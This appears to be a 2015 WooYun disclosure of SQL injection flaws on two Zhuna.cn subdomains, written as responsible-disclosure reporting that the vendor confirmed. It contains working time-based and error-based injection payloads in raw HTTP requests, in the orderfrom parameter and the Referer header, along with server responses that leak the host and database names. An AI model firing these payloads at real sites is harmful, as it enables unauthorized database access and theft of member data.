当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099571

漏洞标题:住哪网两个子域名SQL注入

相关厂商:住哪网

漏洞作者: Forever80s

提交时间:2015-03-06 10:12

修复时间:2015-04-20 14:22

公开时间:2015-04-20 14:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-06: 细节已通知厂商并且等待厂商处理中
2015-03-06: 厂商已经确认,细节仅向厂商公开
2015-03-16: 细节向核心白帽子及相关领域专家公开
2015-03-26: 细节向普通白帽子公开
2015-04-05: 细节向实习白帽子公开
2015-04-20: 细节向公众公开

简要描述:

详细说明:

1.
网站:js1.znimg.com 参数orderfrom

GET /e/json.php?call=jQuery191083842280972749_1425442006128&hid=6418%2C6672%2C8464%2C9720%2C10979%2C14195%2C14213%2C14429%2C14461%2C20254%2C22001%2C22042&tm1=2015-03-05&tm2=2015-
03-06&orderfrom=196;%20waitfor%20delay'0%3a0%3a24'--&r=0.4465443235822022&_=1425442006129 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
Accept: */*
Accept-Language: en-us,en;q=0.8,en-us,en;q=0.5
Cache-Control: no-cache
Host: js1.znimg.com
Accept-Encoding: gzip, deflate


POC:

user_name()='root'

漏洞证明:

2.网站union.zhuna.cn
agent_id 和Referer 都存在注入,权限高可dump所有会员

GET /7days.asp?agent_id=3 HTTP/1.1
Referer: http://www.cc.cc',convert(int,(select host_name())),1);--
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
Host: union.zhuna.cn
Accept-Encoding: gzip, deflate


TTP/1.1 500 Internal Server Error
Date: Wed, 04 Mar 2015 15:15:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 352
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSABAASDR=PEEOANADELKGJGBMMOIMNOJM; path=/
Cache-control: private
<font face="ËÎÌå" size=2>
<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="ËÎÌå" size=2>´íÎó '80040e07'</font>
<p>
<font face="ËÎÌå" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]ÔÚ½« nvarchar Öµ 'DELL-53' ת»»³ÉÊý¾ÝÀàÐÍ int ʱʧ°Ü¡£</font>
<p>
<font face="ËÎÌå" size=2>/7days.asp</font><font face="ËÎÌå" size=2>£¬ÐÐ 46</font>



GET /7days.asp?agent_id=3 HTTP/1.1
Referer: http://www.cc.cc',convert(int,(select user_name())),1);--
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Host: union.zhuna.cn
Accept-Encoding: gzip, deflate
HTTP/1.1 500 Internal Server Error
Date: Wed, 04 Mar 2015 15:16:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 356
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSABAASDR=DFEOANADDBJHCHDMEEEGCHHK; path=/
Cache-control: private
<font face="宋体" size=2>
<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="宋体" size=2>错误 '80040e07'</font>
<p>
<font face="宋体" size=2>[Microsoft][ODBC SQL
Server Driver][SQL Server]在将 nvarchar 值 'db_zhuna_cn' 转换成数据类型 int 时失败。</font>
<p>
<font face="宋体" size=2>/7days.asp</font><font face="宋体" size=2>,行 46</font>


数据不多贴了

修复方案:

版权声明:转载请注明来源 Forever80s@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-06 14:15

厂商回复:

非常感谢您的反馈,相关问题已转交技术处理。

最新状态:

暂无